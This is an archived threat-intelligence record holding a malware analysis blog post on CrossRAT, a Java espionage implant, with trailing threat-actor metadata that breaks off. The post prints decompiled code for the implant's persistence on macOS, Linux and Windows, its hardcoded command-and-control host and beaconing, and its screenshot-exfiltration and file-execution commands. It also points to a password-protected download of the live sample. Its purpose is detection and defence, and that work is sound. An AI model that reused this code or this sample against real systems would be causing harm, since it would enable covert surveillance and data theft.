{
	"id": "428c0112-5762-477b-80af-bdf2fc6f8487",
	"created_at": "2026-04-06T00:17:54.981292Z",
	"updated_at": "2026-04-10T03:34:15.982891Z",
	"deleted_at": null,
	"sha1_hash": "a3f44470d2ac64e113693e133f0e14e6a388db6f",
	"title": "Analyzing CrossRAT",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1933259,
	"plain_text": "Analyzing CrossRAT\r\nArchived: 2026-04-05 19:14:41 UTC\r\nAnalyzing CrossRAT\r\n› a cross-platform implant, utilized in a global cyber-espionage campaign\r\n1/24/2018\r\nlove these blog posts? support my tools \u0026 writing on patreon :)\r\nWant to play along? I've shared the malware, which can be downloaded here (password: infect3d).\r\nBackground\r\nI'm on a plane again...this time flying home from one of my favorite hacker cons: ShmooCon! I was stoked to\r\ngive a talk about auditing on macOS. Yah, I know that doesn't seem like the sexiest of topics -but if you're\r\ninterested in incidence response, malware analysis, or writing security tools for macOS, it's a very relevant topic!\r\nPlus, the talk covered some neat ring-0 bugs that affected the audit subsystem including a kernel panic, a kernel\r\ninformation leak, and a exploitable kernel heap overflow:\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 1 of 23\n\nBesides being able to speak, the highlight of ShmooCon was meeting tons of new awesome people - some who\r\nare in a way directly responsible for this blog. I personally have to thank Kate from Gizmodo (@kateconger), who\r\nintroduced me to Eva (@evacide) and Cooper (@cooperq) from the Electronic Frontier Foundation (EFF). We\r\ngeeked out about a variety of stuff, including their latest reported (produced in conjunction with Lookout): \"Dark\r\nCaracal Cyber-espionage at a Global Scale\". Their findings about this global nationstate cyber-espionage\r\ncampaign are rather ominous. From their report:\r\nDark Caracal has been conducting a multi-platform, APT-level surveillance operation targeting individuals\r\nand institutions globally.\r\nWe have identified hundreds of gigabytes of data exfiltrated from thousands of victims, spanning 21+\r\ncountries in North America, Europe, the Middle East, and Asia.\r\nThe mobile component of this APT is one of the first we've seen executing espionage on a global scale.\r\nDark Caracal targets also include governments, militaries, utilities, financial institutions, manufacturing\r\ncompanies, and defense contractors.\r\nTypes of exfiltrated data include documents, call records, audio recordings, secure messaging client\r\ncontent, contact information, text messages, photos, and account data.\r\nDark Caracal follows the typical attack chain for cyber-espionage. They rely primarily on social media,\r\nphishing, and in some cases physical access to compromise target systems, devices, and accounts.\r\nDark Caracal makes extensive use of Windows malware called Bandook RAT. Dark Caracal also uses a\r\npreviously unknown, multiplatform tool that Lookout and EFF have named CrossRAT, which is able to\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 2 of 23\n\ntarget Windows, OSX, and Linux.\r\nThe report is an intriguing read and quite thorough. Seriously, go read it! I was most interested in \"CrossRAT\", a\r\n\"multiplatform tool...able to target Windows, OSX, and Linux\", which the report did discuss, but not in a ton of\r\ntechnical detail. I'm not complaining at all - gave me something interesting to poke on and blog about!\r\nIn this blog post we'll analyze this threat, providing a comprehensive technical overview that includes its\r\npersistence mechanisms as well as its capabilities. I want to thank Cooper (@cooperq) for sharing not only a\r\nsample of CrossRAT, but also his analysis notes - especially related to the C\u0026C protocol. Mahalo dude!!\r\nCrossRAT\r\nThe EFF/Lookout report describes CrossRat as a \"newly discovered desktop surveillanceware tool...which is able\r\nto target Windows, OSX, and Linux.\" Of course the OSX (macOS) part intrigues me the most, so this post may\r\nhave somewhat of a 'Mac-slant.'\r\nThe report provides a good overview of this new threat:\r\n\"Written in Java with the ability to target Windows, Linux, and OSX, CrossRAT is able to manipulate the file\r\nsystem, take screenshots, run arbitrary DLLs for secondary infection on Windows, and gain persistence on the\r\ninfected system.\"\r\nA sample, 'hmar6.jar' was submitted to VirusTotal (view here). Somewhat unsurprisingly (as is often the case with\r\nnew malware), it's detection even now is basically none-existent: 1/59\r\nThough I'm not fond of Java as a programming language, it is \"decompilable\" - meaning malware written in this\r\nlanguage is fairly straightforward to analyze. Tools such as jad or \"JD-GUI\" can take as input a compiled jar file,\r\nand spit out decently readable Java code! And since it's 2018 you can even decompile Java in the cloud! Now if\r\nonly somebody could combine this with the blockchain...\r\nOpening the malicious .jar file 'hmar6.jar', in JD-GUI reveals the following package layout:\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 3 of 23\n\nAs a .jar is an archive, one could also just unzip it, then browser the package structure manually. Of course the\r\nfiles in the archive are Java classes containing Java bytecode. Thus one of the aforementioned Java decompilers\r\nshould be used.\r\nFor the purpose of this blog post, our goals are to identify and understand the malware's:\r\npersistence mechanism (and install location)\r\nC\u0026C communications\r\nfeatures/capabilities\r\nWe'll ultimately discuss the client.class file in the crossrat package, as it contains both the main entry point of the\r\nmalware (public static void main(String args[])), and it's main logic. However, let's first start by peaking at the\r\nother packages in the jar; 'a', 'b', and 'org'.\r\nThe first package, (which JD-GUI simply names 'a'), appears to be responsible for determining the OS version of\r\nany system it is running on. Since Java can run on multiple platforms, CrossRAT can be deployed on Windows,\r\nLinux, SunOS, and OS X (well, assuming Java is installed). Of course not all the logic in the implant can be OS-agnostic. For example, persistence (as we'll see) is OS-specific. As such correctly identifying the underlying\r\nsystem is imperative. It's also likely this information is useful to the attackers (i.e. for profiling, metrics, etc).\r\nDumping strings of the a/c.class shows the supported systems that CrossRAT should run on:\r\n $ strings - CrossRAT/a/c.class\r\n LINUX\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 4 of 23\n\nMACOS\r\n SOLARIS\r\n WINDOWS\r\nJava provides various OS-agnostic methods to detect the type of operating system its running on. For example,\r\nCrossRAT invoke the following:\r\n System.getProperty(\"os.name\")\r\nThis method will return values such as \"windows\", \"linux\", or \"mac os\".\r\nInterestingly the implant also contains various OS-specific code that aids in the more precise OS detection (yes,\r\nrather meta). For example code within the a/c/a.class executes /usr/bin/sw_vers:\r\n Object localObject = new File(\"/usr/bin/sw_vers\");\r\n ...\r\n Iterator localIterator = (localObject = e.a((File)localObject)).iterator();\r\n while (localIterator.hasNext()) {\r\n if ((localObject = (String)localIterator.next()).contains(c.b.a())) {\r\n return true;\r\n }\r\n }\r\n \r\n if (paramBoolean) {\r\n return ((localObject = System.getProperty(\"os.name\").toLowerCase()).contains(\"mac os x\"))\r\n || (((String)localObject).contains(\"macos\"));\r\n }\r\n ...\r\nThe sw_vers binary is Apple-specific, and returns the exact version of OSX/macOS. On my box:\r\n $ /usr/bin/sw_vers\r\n ProductName: Mac OS X\r\n ProductVersion: 10.13.2\r\n BuildVersion: 17C88\r\nCrossRAT also contains other non-OS agnostic code to determine or gather information about an infected system.\r\nFor example, in the crossrat/e.class file, we see a call to uname (with the -a flag):\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 5 of 23\n\npublic static String c()\r\n {\r\n String s = null;\r\n Object obj = Runtime.getRuntime().exec(new String[] {\"uname\", \"-a\"});\r\n s = ((BufferedReader) (obj = new BufferedReader(new InputStreamReader(((Process)\r\n (obj)).getInputStream())))).readLine();\r\n ((BufferedReader) (obj)).close();\r\n \r\n return s;\r\n }\r\nThe uname command, when executed with the -a flag will display not only OS version, but also information that\r\nidentifies the kernel build and architecture (i.e. x86_64):\r\n $ uname -a\r\n Darwin Patricks-MacBook-Pro.local 17.3.0 Darwin Kernel Version 17.3.0:\r\n root:xnu-4570.31.3~1/RELEASE_X86_64 x86_64\r\nFinally the implant even attempts to query systemd files for (recent/modern) linux-specific version information:\r\n try\r\n {\r\n obj1 = a(new File(\"/etc/os-release\"), \"=\");\r\n }\r\n catch(Exception _ex)\r\n {\r\n System.out.println(\"Failed to load /etc/os-release\");\r\n }\r\n try\r\n {\r\n map = a(new File(\"/etc/lsb-release\"), \"=\");\r\n }\r\n catch(Exception _ex)\r\n {\r\n System.out.println(\"Failed to load /etc/lsb-release\");\r\n }\r\n \r\nFinally, though absent in the disassembly, running the strings command reveals a large list of OS versions that\r\nCrossRAT apparently is able to detect (and infect?). Here for example, a myriad of linux versions:\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 6 of 23\n\n$ strings - a/b/c.class\r\nAlpine Linux Antergos Arch Linux Blag Centos Chakra Chapeau Crunchbang Crux Centos Chakra Chapeau\r\nCrunchbang Crux Debian Deepin Dragora Debian Debian Kali Linux Deepin Dragora Elementary_os Evolve_os\r\nEvolve Os Evolveos Fedora Frugalware Funtoo Fedora Frugalware Funtoo Gentoo Gnewsense Gentoo Jiyuu\r\nJiyuu Kali Kaos Kde Neon Kde_neon Korora Kaos Kali Kali Linux Korora Lmde Lunar La/b/c; Linux Mint\r\nLinuxdeepin Linuxmint Lunar Lunar Linux Mageia Mandrake Mandriva Manjaro Mint Mageia Mandrake\r\nMandriva Mandriva Linux Manjaro Manjaro Linux Nixos Nixos Opensuse Oracle_linux Oracle Linux Parabola\r\nPeppermint Parabola Parabola Gnu/linux-libre Peppermint Qubes Qubes Raspbian Redhat_enterprise Raspbian\r\nRed Hat Redhatenterprise Redhat Enterprise Sabayon Scientificlinux Slackware Solusos Steamos Suse Linux\r\nSabayon Scientific Linux Slackware Solusos Stackmaptable Steamos Tinycore Trisquel Ubuntu Unknown Ubuntu\r\nUnknown Unknown Linux Viperr\r\nMoving on, let's take a peak at the next package, which JD-GUI simply names 'b':\r\nWonder what this package is responsible for? If you guessed 'persistence' you'd be correct :)\r\nOn an infected system, in order to ensure that the OS automatically (re)executes the malware whenever the system\r\nis rebooted, the malware must persist itself. This (generally) requires OS-specific code. That is to say, there are\r\nWindows-specific methods of persistence, Mac-specific method, Linux-specific methods, etc...\r\nThe b/c.class implements macOS-specific persistence by means of a Launch Agent. First the 'a' method invokes\r\nthe 'b' method:\r\n public final void a()\r\n {\r\n if(!b().exists())\r\n b().mkdirs();\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 7 of 23\n\n...\nLooking at the 'b' method, we can see it returns a launch agent directory. If the user is root, it will return the\ndirectory for system launch agents (i.e. /Library/LaunchAgents/) otherwise the user-specific directory will be\nreturned (e.g. /Users/patrick/Library/LaunchAgents/).\n private static File b()\n {\n String s = System.getProperty(\"user.home\");\n if(a.c.b().a() != a.c.a \u0026\u0026 (new BufferedReader(new InputStreamReader(\n Runtime.getRuntime().exec(\"whoami\").getInputStream()))).readLine().equals(\"root\"))\n {\n s = \"\";\n }\n return new File((new StringBuilder(String.valueOf(s))).append(\"/Library/LaunchAgents/\")\n .toString());\n }\n\nThe code then creates a launch agent property list (plist):\n ((PrintWriter) (obj = new PrintWriter(new FileWriter(((File) (obj))))))\n .println(\"\");\n ((PrintWriter) (obj)).println(\"\");\n ((PrintWriter) (obj)).println(\"\\tLabel\");\n ((PrintWriter) (obj)).println((new StringBuilder(\"\\t\"))\n .append(super.b).append(\"\").toString());\n ((PrintWriter) (obj)).println(\"\\tProgramArguments\");\n ((PrintWriter) (obj)).println(\"\\t\");\n if(a)\n {\n ((PrintWriter) (obj)).println(\"\\t\\tjava\");\n ((PrintWriter) (obj)).println(\"\\t\\t-jar\");\n }\n ((PrintWriter) (obj)).println((new StringBuilder(\"\\t\\t\"))\n .append(super.c).append(\"\").toString());\n ((PrintWriter) (obj)).println(\"\\t\");\n ((PrintWriter) (obj)).println(\"\\tRunAtLoad\");\n ((PrintWriter) (obj)).println(\"\\t\");\n ((PrintWriter) (obj)).println(\"\");\n ((PrintWriter) (obj)).println(\"\");\n ((PrintWriter) (obj)).close();\nhttps://objective-see.com/blog/blog_0x28.html\nPage 8 of 23\n\nAs the RunAtLoad key is set to true, whatever the malware has specified in the ProgramArguments array will be\nexecuted. From the code we can see this is: java -jar [super.c]. To determine what .jar is persisted (i.e. super.c) we\ncould analyze the decompiled java code...or it's simpler to just run the malware, then dump the plist file. We opt\nfor the latter and infect a Mac VM:\n $ java -jar hmar6.jar \u0026\n\n$ cat ~/Library/LaunchAgents/mediamgrs.plist LabelmediamgrsProgramArgumentsjava-jar/Users/user/Library/mediamgrs.jarRunAtLoad Ah, so ~/Library/mediamgrs.jar is persisted. If we hash this file with the malicious 'hmar6.jar' that we've been\nanalyzing they match. In other words the malware simply persists itself:\n $ md5 ~/Library/mediamgrs.jar\n MD5 (/Users/user/Library/mediamgrs.jar) = 85b794e080d83a91e904b97769e1e770\n\n$ md5 hmar6.jar\n MD5 (/Users/user/Desktop/hmar6.jar) = 85b794e080d83a91e904b97769e1e770\n\nMoving on, we can figure out how the malware persists both on Linux and Windows.\nLinux persistence is implemented in the b/d.class:\nhttps://objective-see.com/blog/blog_0x28.html\nPage 9 of 23\n\nAs can be seen in the above screen capture, CrossRAT, the malware persists on Linux by creating an autostart file\r\nin the aptly named ~/.config/autostart/ directory (file: mediamgrs.desktop). Similar to macOS, it persists itself:\r\nExec=java -jar [this.c] Looking elsewhere in the code, we can see the value for 'this.c' will be set to:\r\n/usr/var/mediamgrs.jar at runtime:\r\n else\r\n {\r\n k.K = \"/usr/var/\";\r\n }\r\n \r\n paramArrayOfString = new File(k.K + \"mediamgrs.jar\");\r\nFor more information on persisting a file on Linux using this 'autostart' technique, see: \"How To Autostart A\r\nProgram In Raspberry Pi Or Linux?\".\r\nOf course CrossRAT also contains logic to persist on Windows machines. This persistence code can be found in\r\nthe b/e.class:\r\n public final void a()\r\n {\r\n String s;\r\n if(a)\r\n {\r\n s = (new StringBuilder(String.valueOf(System.getProperty(\"java.home\"))))\r\n .append(\"\\\\bin\\\\javaw.exe\").toString();\r\n s = (new StringBuilder(String.valueOf(s))).append(\" -jar \\\"\")\r\n .append(c).append(\"\\\"\").toString();\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 10 of 23\n\n} else\r\n {\r\n s = super.c;\r\n }\r\n Runtime.getRuntime().exec(new String[] {\r\n \"reg\", \"add\", \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\\",\r\n \"/v\", super.b, \"/t\", \"REG_SZ\", \"/d\", s, \"/f\"\r\n });\r\n }\r\nAh the good old CurrentVersion\\Run registry key. A rather lame Windows persistence technique, but hey, it will\r\npersist the malware's .jar file ensuring it's (re)executed each time an infected system is rebooted.\r\nWith a decent understanding of both the 'a' package (OS detection) and the 'b' package (persistence), let's discuss\r\nthe 'org' package. Then, finally(!), we'll dive into the malware's core logic.\r\nThe 'org' package contains packages named'a.a.a.' and 'jnativehook'.\r\nLooking at various classes within the 'a.a.a' package, we can see this package contains code dealing with file i/o\r\noperations. For example take a look at some of the strings from the 'a.a.a/b.class':\r\n $ strings - strings - src/org/a/a/a/b.class\r\n does not exist\r\n is not a directory\r\n to a subdirectory of itself\r\n already exists\r\n cannot be written to\r\n directory cannot be created\r\n does not exist\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 11 of 23\n\nexists but is a directory\r\n exists but is read-only\r\n Cannot move directory:\r\n Destination must not be null\r\n Failed to copy full contents from\r\n Failed to delete original directory\r\n Failed to list contents of\r\n File does not exist:\r\n Unable to delete file:\r\nPretty clear that this is the part of the implant that allows a remote attacker the ability to interact with and modify\r\nthe file system on an infected system.\r\nWant to confirm this in code? Let's take a look at the 'a' method in the same 'a.a.a/b.class'. This method will copy a\r\nfile, taking in an optional parameter to 'match' the file modification of the destination file to its source. Hey, that'd\r\npretty neat!\r\n private static void a(File paramFile1, File paramFile2, boolean paramBoolean)\r\n {\r\n if ((paramFile2.exists()) \u0026\u0026 (paramFile2.isDirectory())) {\r\n throw new IOException(\"Destination '\" + paramFile2 + \"' exists but is a directory\");\r\n }\r\n ....\r\n try\r\n {\r\n localFileInputStream = new FileInputStream(paramFile1);\r\n localFileOutputStream = new FileOutputStream(paramFile2);\r\n localFileChannel1 = localFileInputStream.getChannel();\r\n localFileChannel2 = localFileOutputStream.getChannel();\r\n l1 = localFileChannel1.size();\r\n long l5;\r\n for (l2 = 0L; l2 \u003c l1; l2 += l5)\r\n {\r\n long l4;\r\n long l3 = (l4 = l1 - l2) \u003e 31457280L ? 31457280L : l4;\r\n if ((l5 = localFileChannel2.transferFrom(localFileChannel1, l2, l3)) == 0L) {\r\n break;\r\n }\r\n }\r\n ...\r\n }\r\n ....\r\n long l1 = paramFile1.length();\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 12 of 23\n\nlong l2 = paramFile2.length();\r\n if (l1 != l2) {\r\n throw new IOException(\"Failed to copy full contents from '\" + paramFile1 + \"' to '\" +\r\n paramFile2 + \"' Expected length: \" + l1 + \" Actual: \" + l2);\r\n }\r\n if(paramBoolean) {\r\n paramFile2.setLastModified(paramFile1.lastModified());\r\n }\r\n }\r\nThe other package in the 'org' package is named 'jnativehook'. If you google this, you'll discover its an open-source Java library. Check out its github page: jnativehook.\r\nAs described by its author, it was created to \"provide global keyboard and mouse listeners for Java\". This\r\nfunctionality is not possible in (high-level) Java code, thus the library leverages \"platform dependent native\r\ncode...to create low-level system-wide hooks and deliver those events to your application.\" Hrmm why would a\r\ncyber-espionage implant be interested in such capabilities? Capturing key-events (i.e. keylogging) would be an\r\nobvious answer! However, I didn't see any code within that implant that referenced the 'jnativehook' package - so\r\nat this point it appears that this functionality is not leveraged? There may be a good explanation for this. As noted\r\nin the report, the malware identifies it's version as 0.1, perhaps indicating it's still a work in progress and thus not\r\nfeature complete.\r\nOk, time to dive into the core logic of CrossRat!\r\nThe main logic of the malware is implemented within the crossrat/client.class file. In fact this class contains the\r\nmain entry point of the implant (public static void main(String args[])):\r\n grep -R main hmar6.jar/*\r\n crossrat/client.jad: public static void main(String args[])\r\nWhen the malware is executed this main method is invoked. This performs the following steps:\r\n1. If necessary, performs an OS-specific persistent install\r\n2. Checks in with the remote command and control (C\u0026C) server\r\n3. Performs any tasking as specified by the C\u0026C server\r\nLet's take a closer look at all of this!\r\nThe malware first installs itself persistently. As previously discussed, this logic is OS-specific and involves the\r\nmalware copying itself to a persistent location (as mediamgrs.jar), before setting persistence (registry key, launch\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 13 of 23\n\nagent plist, etc). I've inserted comments into the following code, to illustrate these exact steps. Below, we first\r\nhave the code the builds the path to the OS-specific install directory:\r\n public static void main(String args[])\r\n {\r\n Object obj;\r\n supportedSystems = c.b();\r\n String tempDirectory;\r\n //get temp directory\r\n s = System.getProperty(s = \"java.io.tmpdir\");\r\n \r\n installDir = \"\";\r\n //Windows?\r\n // build path to Windows install directory (temp directory)\r\n if(supportedSystems.a() == c.a)\r\n {\r\n installDir = (new StringBuilder(String.valueOf(s)))\r\n .append(\"\\\\\").toString();\r\n }\r\n //Mac?\r\n // build path to Mac install directory (~/Library)\r\n else if(supportedSystems.a() == c.b)\r\n {\r\n userHome = System.getProperty(\"user.home\");\r\n installDir = (new StringBuilder(String.valueOf(userHome)))\r\n .append(\"/Library/\").toString();\r\n }\r\n //Linux, etc?\r\n // build path to Linux, etc install directory (/usr/var/)\r\n else\r\n {\r\n installDir = \"/usr/var/\";\r\n }\r\n ...\r\nOnce path to the install directory has been dynamically created, the malware makes a copy of itself\r\n(mediamgrs.jar) into the install directory:\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 14 of 23\n\npublic static void main(String args[])\r\n {\r\n ...\r\n //build full path and instantiate file obj\r\n installFileObj = new File(installDir + \"mediamgrs.jar\");\r\n //copy self to persistent location\r\n org.a.a.a.b.a(((File) (selfAsFile)), installFileObj);\r\n ...\r\nVia the fs_usage command, we can observe this file copy, and updating of the file time to match to original:\r\n # fs_usage -w -f filesystem\r\n open F=7 (R_____) /Users/user/Desktop/hmar6.jar java.125131\r\n lseek F=7 O=0x00000000 java.125131\r\n \r\n open F=8 (_WC_T_) /Users/user/Library/mediamgrs.jar java.125131\r\n pwrite F=8 B=0x3654f O=0x00000000 java.125131\r\n close F=8 0.000138 java.125131\r\n utimes /Users/user/Library/mediamgrs.jar java.125131\r\n # ls -lart /Users/user/Library/mediamgrs.jar\r\n -rw-r--r-- 1 user staff 222543 Jan 22 18:54 /Users/user/Library/mediamgrs.jar\r\n # ls -lart ~/Desktop/hmar6.jar\r\n -rw-r--r-- 1 user wheel 222543 Jan 22 18:54 /Users/user/Desktop/hmar6.jar\r\nOnce the malware has made a copy of itself, it execute the OS-specific logic to persist. As we're executing the\r\nmalware on a Mac VM, the malware will persist as a launch agent:\r\n public static void main(String args[])\r\n {\r\n ...\r\n //persist: Windows\r\n if ((localObject5 = a.c.b()).a() == a.c.a) {\r\n paramArrayOfString = new b.e(paramArrayOfString, (String)localObject4, true);\r\n }\r\n //persist: Mac\r\n else if (((a.a)localObject5).a() == a.c.b) {\r\n paramArrayOfString = new b.c(paramArrayOfString, (String)localObject4, true);\r\n }\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 15 of 23\n\n//persist: Linux\r\n else if ((((a.a)localObject5).d()) \u0026\u0026\r\n (!GraphicsEnvironment.getLocalGraphicsEnvironment().isHeadlessInstance())) {\r\n paramArrayOfString = new b.d(paramArrayOfString, (String)localObject4, true);\r\n }\r\n ...\r\n \r\n //error: unknown OS\r\n else {\r\n throw new RuntimeException(\"Unknown operating system \" + ((a.a)localObject5).c());\r\n }\r\n ...\r\nWe can again observe this persistence by monitoring the file system, or BlockBlock detects this persistence\r\nattempt:\r\nNow the malware has persistently installed itself, it checks in with the C\u0026C server for tasking. As noted the\r\nEFF/Lookout report the malware will connect to flexberry.com on port 2223.\r\nThis C\u0026C info is hardcoded in the crossrat/k.class file:\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 16 of 23\n\npublic static void main(String args[])\r\n {\r\n ...\r\n //connect to C\u0026C server\r\n Socket socket;\r\n (socket = new Socket(crossrat.k.b, crossrat.k.c)).setSoTimeout(0x1d4c0);\r\n \r\n ...\r\nWhen the malware checks in with the C\u0026C server for tasking, it will transmit various information about the\r\ninfected host, such as version and name of the operating system, host name, and user name. The generation of this\r\ninformation is shown in code below:\r\n public static void main(String args[])\r\n {\r\n ...\r\n if((k.g = (k.h = Preferences.userRoot()).get(\"UID\", null)) == null)\r\n {\r\n k.g = (k.f = UUID.randomUUID()).toString();\r\n k.h.put(\"UID\", k.g);\r\n }\r\n String s1 = System.getProperty(\"os.name\");\r\n String s2 = System.getProperty(\"os.version\");\r\n args = System.getProperty(\"user.name\");\r\n Object obj1;\r\n obj1 = ((InetAddress) (obj1 = InetAddress.getLocalHost())).getHostName();\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 17 of 23\n\nobj1 = (new StringBuilder(String.valueOf(args))).append(\"^\")\r\n .append(((String) (obj1))).toString();\r\n ...\r\nThe malware then parses the response from the C\u0026C server and if tasking is found acts on it.\r\nIf you made it this far, I'm sure you're wondering what the malware can actual do! That is to say, what's it's\r\ncapabilities? its features? Lucky for us, the EFF/Lookout report provides some details. Below are annotations\r\nfrom their report of the crossrat/k.class which contains CrossRat's tasking values:\r\n // Server command prefixes\r\n public static String m = \"@0000\"; // Enumerate root directories on the system. 0 args\r\n public static String n = \"@0001\"; // Enumerate files on the system. 1 arg\r\n public static String o = \"@0002\"; // Create blank file on system. 1 arg\r\n public static String p = \"@0003\"; // Copy File. 2 args\r\n public static String q = \"@0004\"; // Move file. 2 args\r\n public static String r = \"@0005\"; // Write file contents. 4 args\r\n public static String s = \"@0006\"; // Read file contents. 4 args\r\n public static String t = \"@0007\"; // Heartbeat request. 0 args\r\n public static String u = \"@0008\"; // Get screenshot. 0 args\r\n public static String v = \"@0009\"; // Run a DLL 1 arg\r\nThe code that uses these value can be found in the crossrat/client.class file, where, as we mentioned, the malware\r\nparses and acts upon the response from the C\u0026C server:\r\n public static void main(String args[])\r\n {\r\n ...\r\n //enum root directories\r\n if((args1 = args.split((new StringBuilder(\"\\\\\"))\r\n .append(crossrat.k.d).toString()))[0].equals(k.m))\r\n {\r\n new crossrat.e();\r\n crossrat.e.a();\r\n f f1;\r\n (f1 = new f()).start();\r\n }\r\n //enum files\r\n else if(args1[0].equals(k.n))\r\n (args = new crossrat.c(args1[1])).start();\r\n \r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 18 of 23\n\n//create blank file\r\n else if(args1[0].equals(k.o))\r\n (args = new crossrat.a(args1[1])).start();\r\n \r\n //copy file\r\n else if(args1[0].equals(k.p))\r\n (args = new crossrat.b(args1[1], args1[2])).start();\r\n ...\r\nLet's look at some of the more 'interesting' commands such as the screen capture and dll loading.\r\nWhen the malware receives the string \"0008\" ('k.u') from the C\u0026C server is instantiates and 'runs' a 'j' object,\r\npassing in 'k.b' and 'k.c':\r\n public static void main(String args[])\r\n {\r\n ...\r\n //C\u0026C server addr\r\n public static String b = \"flexberry.com\";\r\n //C\u0026C server port\r\n public static int c = 2223;\r\n //handle cmd: 0008\r\n // pass in C\u0026C addr/port\r\n else if(args1[0].equals(k.u))\r\n (args = new j(crossrat.k.b, crossrat.k.c)).start();\r\n ...\r\nThe 'j' object is defined in the crossrat/j.class file:\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 19 of 23\n\nVia the java.awt.Robot().createScreenCapture the malware performs a screen capture, temporarily saves it as a\r\ndisk (as a .jpg with a randomized name), before exfiltrating it to the C\u0026C server.\r\nAnother interesting command is \"0009\". When the malware receives this command it instantiates a kicks off an 'i'.\r\nThis object is implemented in the crossrat/i.class file:\r\nWhen the malware is executing on a Window machine, it will execute invoke rundll32 to load url.dll and invoke\r\nit's FileProtocolHandler method:\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 20 of 23\n\n//open a file\r\n Runtime.getRuntime().exec(new String[] {\r\n \"rundll32\", \"url.dll,FileProtocolHandler\", file.getAbsolutePath()\r\n });\r\nThe url.dll is a legitimate Microsoft library which can be (ab)used to launch executable on an infected system. For\r\nexample, on Windows, the following will launch Calculator:\r\n //execute a binary\r\n Runtime.getRuntime().exec(new String[] {\r\n \"rundll32\", \"url.dll,FileProtocolHandler\", \"calc.exe\"\r\n });\r\nOn systems other than Windows, it appears that the \"0009\" command will execute the specified file via the\r\nDesktop.getDesktop().open() method.\r\n //execute a binary\r\n else if ((locala.a() == c.b) || (locala.a() == c.c)) {\r\n try\r\n {\r\n Desktop.getDesktop().open(localFile);\r\n }\r\nConclusions\r\nIn this blog post we provided an in-depth technical analysis of the newly discovered cross-platform cyber-espionage implant CrossRAT. Thought not particularly sophisticated version 0.1 of this malware is still fairly\r\nfeature-complete and able to run on a large number of platforms. Moreover, as noted by the EFF/Lookout the\r\nattackers utilizing CrossRAT seem to be both (decently) competent, motivated, and successful.\r\nLet's end with a few FAQs!\r\nQ: How does one get infected by CrossRAT?\r\nA: In their report, the EFF/Lookout, note: \"[the attackers] rely primarily on social media, phishing, and in some\r\ncases physical access to compromise target systems, devices, and accounts.\"\r\nQ: How can I protect myself from an infection?\r\nA: As CrossRAT is written in Java, it requires Java to be installed. Luckily recent versions of macOS do not ship\r\nwith Java. Thus, most macOS users should be safe! Of course if a Mac user already has Java installed, or the\r\nattacker is able to coerce a naive user to install Java first, CrossRAT will run just dandy, even on the latest version\r\nof macOS (High Sierra).\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 21 of 23\n\nIt is also worth noting that currently AV detections seem rather non-existent (1/59 on Virus Total). Thus having\r\nanti-virus software installed likely won't prevent or detect a CrossRAT infection. However tools that instead detect\r\nsuspicious behaviors, such as persistence, can help!\r\nFor example BlockBlock easily detects CrossRAT when it attempts to persist:\r\nQ: How can I tell if I'm infected with CrossRAT?\r\nA: First check to see if there is an instance of Java is running, that's executing mediamgrs.jar.\r\nOn macOS or Linux use the 'ps' command:\r\n $ ps aux | grep mediamgrs.jar\r\n user 01:51AM /usr/bin/java -jar /Users/user/Library/mediamgrs.jar\r\nOne can also look for the persistent artifacts of the malware. However, as the malware persists in an OS-specific\r\nmanner, detecting this will depend what OS you're running.\r\nWindows:\r\nCheck the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ registry key. If infected it will\r\ncontain a command that includes, java, -jar and mediamgrs.jar.\r\nMac:\r\nCheck for jar file, mediamgrs.jar, in ~/Library.\r\nAlso look for launch agent in /Library/LaunchAgents or ~/Library/LaunchAgents named mediamgrs.plist.\r\nLinux:\r\nCheck for jar file, mediamgrs.jar, in /usr/var.\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 22 of 23\n\nAlso look for an 'autostart' file in the ~/.config/autostart likely named mediamgrs.desktop.\r\nQ: On an infected system, what can CrossRAT do?\r\nA: CrossRAT allows an remote attacker complete control over an infected system. Some of it's persistent\r\ncapabilities include:\r\nfile upload/download/create/delete\r\nscreen capture\r\nrun arbitrary executables\r\nWell that wraps up our blog on CrossRAT! Mahalo for reading :)\r\nlove these blog posts \u0026 tools? you can support them via patreon! Mahalo :)\r\nSource: https://objective-see.com/blog/blog_0x28.html\r\nhttps://objective-see.com/blog/blog_0x28.html\r\nPage 23 of 23",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x28.html"
	],
	"report_names": [
		"blog_0x28.html"
	],
	"threat_actors": [
		{
			"id": "8de10e16-817c-4907-bd98-b64cf4a3e77b",
			"created_at": "2022-10-25T15:50:23.552766Z",
			"updated_at": "2026-04-10T02:00:05.362919Z",
			"deleted_at": null,
			"main_name": "Dark Caracal",
			"aliases": [
				"Dark Caracal"
			],
			"source_name": "MITRE:Dark Caracal",
			"tools": [
				"FinFisher",
				"CrossRAT",
				"Bandook"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
